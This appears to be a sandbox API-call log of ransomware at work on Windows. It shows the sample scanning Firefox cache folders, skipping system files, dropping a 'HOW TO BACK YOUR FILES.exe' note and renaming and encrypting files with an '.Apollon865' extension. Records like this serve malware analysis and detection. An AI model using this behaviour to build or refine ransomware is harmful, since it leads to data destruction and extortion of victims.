	[0045.265] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2=".lnk") returned 1
	[0045.265] lstrlenW (lpString=".ini") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2=".ini") returned 1
	[0045.265] lstrlenW (lpString=".sys") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2=".sys") returned 1
	[0045.265] lstrlenW (lpString="test-malware-simple.cache") returned 25
	[0045.265] lstrcpyW (in: lpString1=0x2d3e616, lpString2="test-malware-simple.pset" | out: lpString1="test-malware-simple.pset") returned="test-malware-simple.pset"
	[0045.265] lstrlenW (lpString="test-malware-simple.pset") returned 24
	[0045.265] lstrlenW (lpString="Apollon865") returned 10
	[0045.265] lstrcmpiW (lpString1="imple.pset", lpString2="Apollon865") returned 1
	[0045.265] lstrlenW (lpString=".dll") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.pset", lpString2=".dll") returned 1
	[0045.265] lstrlenW (lpString=".lnk") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.pset", lpString2=".lnk") returned 1
	[0045.265] lstrlenW (lpString=".ini") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.pset", lpString2=".ini") returned 1
	[0045.265] lstrlenW (lpString=".sys") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.pset", lpString2=".sys") returned 1
	[0045.265] lstrlenW (lpString="test-malware-simple.pset") returned 24
	[0045.265] lstrcpyW (in: lpString1=0x2d3e616, lpString2="test-malware-simple.sbstore" | out: lpString1="test-malware-simple.sbstore") returned="test-malware-simple.sbstore"
	[0045.265] lstrlenW (lpString="test-malware-simple.sbstore") returned 27
	[0045.265] lstrlenW (lpString="Apollon865") returned 10
	[0045.265] lstrcmpiW (lpString1="le.sbstore", lpString2="Apollon865") returned 1
	[0045.265] lstrlenW (lpString=".dll") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.sbstore", lpString2=".dll") returned 1
	[0045.265] lstrlenW (lpString=".lnk") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.sbstore", lpString2=".lnk") returned 1
	[0045.266] lstrlenW (lpString=".ini") returned 4
	[0045.266] lstrcmpiW (lpString1="test-malware-simple.sbstore", lpString2=".ini") returned 1
	[0045.266] lstrlenW (lpString=".sys") returned 4
	[0045.266] lstrcmpiW (lpString1="test-malware-simple.sbstore", lpString2=".sys") returned 1
	[0045.266] lstrlenW (lpString="test-malware-simple.sbstore") returned 27
	[0045.266] lstrcpyW (in: lpString1=0x2d3e616, lpString2="test-phish-simple.cache" | out: lpString1="test-phish-simple.cache") returned="test-phish-simple.cache"
	[0045.266] lstrlenW (lpString="test-phish-simple.cache") returned 23
	[0045.266] lstrlenW (lpString="Apollon865") returned 10
	[0045.266] lstrcmpiW (lpString1="mple.cache", lpString2="Apollon865") returned 1
	[0045.266] lstrlenW (lpString=".dll") returned 4
	[0045.266] lstrcmpiW (lpString1="test-phish-simple.cache", lpString2=".dll") returned 1
	[0045.266] lstrlenW (lpString=".lnk") returned 4
	[0045.266] lstrcmpiW (lpString1="test-phish-simple.cache", lpString2=".lnk") returned 1
	[0045.266] lstrlenW (lpString=".ini") returned 4
	[0045.266] lstrcmpiW (lpString1="test-phish-simple.cache", lpString2=".ini") returned 1
	[0045.266] lstrlenW (lpString=".sys") returned 4
	[0045.266] lstrcmpiW (lpString1="test-phish-simple.cache", lpString2=".sys") returned 1
	[0045.266] lstrlenW (lpString="test-phish-simple.cache") returned 23
	[0045.266] lstrcpyW (in: lpString1=0x2d3e616, lpString2="test-phish-simple.pset" | out: lpString1="test-phish-simple.pset") returned="test-phish-simple.pset"
	[0045.266] lstrlenW (lpString="test-phish-simple.pset") returned 22
	[0045.266] lstrlenW (lpString="Apollon865") returned 10
	[0045.266] lstrcmpiW (lpString1="imple.pset", lpString2="Apollon865") returned 1
	[0045.266] lstrlenW (lpString=".dll") returned 4
	[0045.266] lstrcmpiW (lpString1="test-phish-simple.pset", lpString2=".dll") returned 1
	[0045.266] lstrlenW (lpString=".lnk") returned 4
	[0045.266] lstrcmpiW (lpString1="test-phish-simple.pset", lpString2=".lnk") returned 1
	[0045.266] lstrlenW (lpString=".ini") returned 4
	[0045.266] lstrcmpiW (lpString1="test-phish-simple.pset", lpString2=".ini") returned 1
	[0045.266] lstrlenW (lpString=".sys") returned 4
	[0045.266] lstrcmpiW (lpString1="test-phish-simple.pset", lpString2=".sys") returned 1
	[0045.266] lstrlenW (lpString="test-phish-simple.pset") returned 22
	[0045.267] lstrcpyW (in: lpString1=0x2d3e616, lpString2="test-phish-simple.sbstore" | out: lpString1="test-phish-simple.sbstore") returned="test-phish-simple.sbstore"
	[0045.267] lstrlenW (lpString="test-phish-simple.sbstore") returned 25
	[0045.267] lstrlenW (lpString="Apollon865") returned 10
	[0045.267] lstrcmpiW (lpString1="le.sbstore", lpString2="Apollon865") returned 1
	[0045.267] lstrlenW (lpString=".dll") returned 4
	[0045.267] lstrcmpiW (lpString1="test-phish-simple.sbstore", lpString2=".dll") returned 1
	[0045.267] lstrlenW (lpString=".lnk") returned 4
	[0045.267] lstrcmpiW (lpString1="test-phish-simple.sbstore", lpString2=".lnk") returned 1
	[0045.267] lstrlenW (lpString=".ini") returned 4
	[0045.267] lstrcmpiW (lpString1="test-phish-simple.sbstore", lpString2=".ini") returned 1
	[0045.267] lstrlenW (lpString=".sys") returned 4
	[0045.267] lstrcmpiW (lpString1="test-phish-simple.sbstore", lpString2=".sys") returned 1
	[0045.267] lstrlenW (lpString="test-phish-simple.sbstore") returned 25
	[0045.267] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache"
	[0045.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0045.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0045.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache") returned 98
	[0045.267] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache"
	[0045.267] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.267] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.279] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.279] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x330fca30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330fca30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.279] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.279] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.279] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.279] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x330fca30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330fca30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.279] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.279] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.279] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.279] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.279] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x330d68d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x330d68d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.279] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.279] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc399b820, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="Apollon865.txt.exe") returned 1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2=".") returned 1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="..") returned 1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="windows") returned -1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="bootmgr") returned 1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="temp") returned -1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="pagefile.sys") returned -1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="boot") returned 1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="ids.txt") returned 1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="ntuser.dat") returned -1
	[0045.279] lstrcmpiW (lpString1="index.sqlite", lpString2="perflogs") returned -1
	[0045.280] lstrcmpiW (lpString1="index.sqlite", lpString2="MSBuild") returned -1
	[0045.280] lstrlenW (lpString="index.sqlite") returned 12
	[0045.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*") returned 100
	[0045.280] lstrcpyW (in: lpString1=0x2d3e616, lpString2="index.sqlite" | out: lpString1="index.sqlite") returned="index.sqlite"
	[0045.280] lstrlenW (lpString="index.sqlite") returned 12
	[0045.280] lstrlenW (lpString="Apollon865") returned 10
	[0045.280] lstrcmpiW (lpString1="dex.sqlite", lpString2="Apollon865") returned 1
	[0045.280] lstrlenW (lpString=".dll") returned 4
	[0045.280] lstrcmpiW (lpString1="index.sqlite", lpString2=".dll") returned 1
	[0045.280] lstrlenW (lpString=".lnk") returned 4
	[0045.280] lstrcmpiW (lpString1="index.sqlite", lpString2=".lnk") returned 1
	[0045.280] lstrlenW (lpString=".ini") returned 4
	[0045.280] lstrcmpiW (lpString1="index.sqlite", lpString2=".ini") returned 1
	[0045.280] lstrlenW (lpString=".sys") returned 4
	[0045.280] lstrcmpiW (lpString1="index.sqlite", lpString2=".sys") returned 1
	[0045.280] lstrlenW (lpString="index.sqlite") returned 12
	[0045.280] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite.Apollon865") returned 122
	[0045.280] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0045.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0045.281] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=262144) returned 1
	[0045.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3660020
	[0045.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0045.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0045.282] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0045.282] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0045.282] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0045.283] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40300, lpName=0x0) returned 0x150
	[0045.284] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40300) returned 0x210000
	[0045.311] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0045.311] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0045.311] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0045.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0045.311] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0045.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0045.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0045.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0045.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0045.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0045.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0045.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0045.312] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0045.314] CloseHandle (hObject=0x150) returned 1
	[0045.314] CloseHandle (hObject=0x154) returned 1
	[0045.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0045.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0045.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3660020 | out: hHeap=0x580000) returned 1
	[0045.316] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc399b820, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 0
	[0045.316] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.316] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0045.316] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache"
	[0045.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0045.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0045.316] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache") returned 91
	[0045.316] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache"
	[0045.316] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.316] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.328] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.328] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3316ee50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3316ee50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.329] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.329] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.329] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.329] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3316ee50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3316ee50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.329] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.329] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.329] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.329] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.329] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="Apollon865.txt.exe") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2=".") returned 1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="..") returned 1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="windows") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="bootmgr") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="temp") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="pagefile.sys") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="boot") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="ids.txt") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="ntuser.dat") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="perflogs") returned -1
	[0045.329] lstrcmpiW (lpString1="0", lpString2="MSBuild") returned -1
	[0045.329] lstrlenW (lpString="0") returned 1
	[0045.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*") returned 93
	[0045.329] lstrcpyW (in: lpString1=0x2d3e608, lpString2="0" | out: lpString1="0") returned="0"
	[0045.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0045.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x599d28
	[0045.329] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0045.329] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1
	[0045.329] lstrcmpiW (lpString1="1", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.329] lstrcmpiW (lpString1="1", lpString2="Apollon865.txt.exe") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2=".") returned 1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="..") returned 1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="windows") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="bootmgr") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="temp") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="pagefile.sys") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="boot") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="ids.txt") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="ntuser.dat") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="perflogs") returned -1
	[0045.330] lstrcmpiW (lpString1="1", lpString2="MSBuild") returned -1
	[0045.330] lstrlenW (lpString="1") returned 1
	[0045.330] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0") returned 93
	[0045.330] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1" | out: lpString1="1") returned="1"
	[0045.330] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0045.330] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x599450
	[0045.330] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0045.330] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="Apollon865.txt.exe") returned -1
	[0045.330] lstrcmpiW (lpString1="2", lpString2=".") returned 1
	[0045.330] lstrcmpiW (lpString1="2", lpString2="..") returned 1
